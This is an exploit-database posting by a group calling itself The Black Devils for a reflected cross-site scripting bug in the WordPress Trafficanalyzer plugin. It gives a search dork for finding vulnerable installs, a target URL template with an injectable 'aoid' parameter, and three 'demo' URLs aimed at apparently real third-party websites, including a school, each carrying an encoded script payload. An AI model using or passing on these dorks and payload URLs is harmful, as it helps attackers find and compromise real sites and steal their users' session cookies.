WordPress Trafficanalyzer Plugin XSS Vulnerability

#0     _                   __           __       __                     1
#1   /' \            __  /'__`\        /\ \__  /'__`\                   0
#0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
#1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
#0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
#1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
#0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
#1                  \ \____/ >> Exploit database separated by exploit   0
#0                   \/___/          type (local, remote, DoS, etc.)    1
#1                                                                      1
#0  [+] Site            : 1337day.com                                   0
#1  [+] Support e-mail  : submit[at]1337day.com                         1
#0                                                                      0
#1               #########################################              1
#0               I'm The Black Devils member from Inj3ct0r Team         1
#1               #########################################              0
#0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
# Exploit Title: WordPress Trafficanalyzer Plugin XSS Vulnerability
# Date: 15-08-2013
# Exploit Author: The Black Devils "Asesino04"
# Vendor Homepage: http://wptrafficanalyzer.in/
# Dork : inurl:js/ta_loaded.js.php?aoid=
# Tested on: [ Windows 7]


# Introduction :
-----------------
WordPress Trafficanalyzer Plugin is prone to a cross-site scripting vulnerability because it fails to sanitize 
user-supplied input. 
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user 
in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials 
and launch other attacks.



# Exploit Code  :
------------------
http://target/wp-content/plugins/trafficanalyzer/js/ta_loaded.js.php?aoid=[Xss]



# Demo  :
------------------
http://gym-n-kydon.chan.sch.gr/sxoleio/wp-content/plugins/trafficanalyzer/js/ta_loaded.js.php?aoid=%27%22%3E%3Cscript%3Ealert%281337%29;%3C/script%3E%27
http://www.nldtrondheim.net/wp-content/plugins/trafficanalyzer/js/ta_loaded.js.php?aoid=%22%3E%3Cscript%3Ealert%281337%29;%3C/script%3E%27
http://valkunas.ftmc.lt/wp-content/plugins/trafficanalyzer/js/ta_loaded.js.php?aoid=%22%3E%3Cscript%3Ealert%281337%29;%3C/script%3E%27


# Contact :
------------------
# Fane Page : www.facebook.com/Th3.Black.D3Vils
# Youtube : www.youtube.com/user/Th3BlackDevils
# Facebook : www.facebook.com/DevilsDz
# Email : [email protected]

تحية إلى مصر الشرعية ,اللهم انصر اخواننا في مصر و سوريا وسائر بلاد المسلمين

#  0day.today [2018-04-08]  #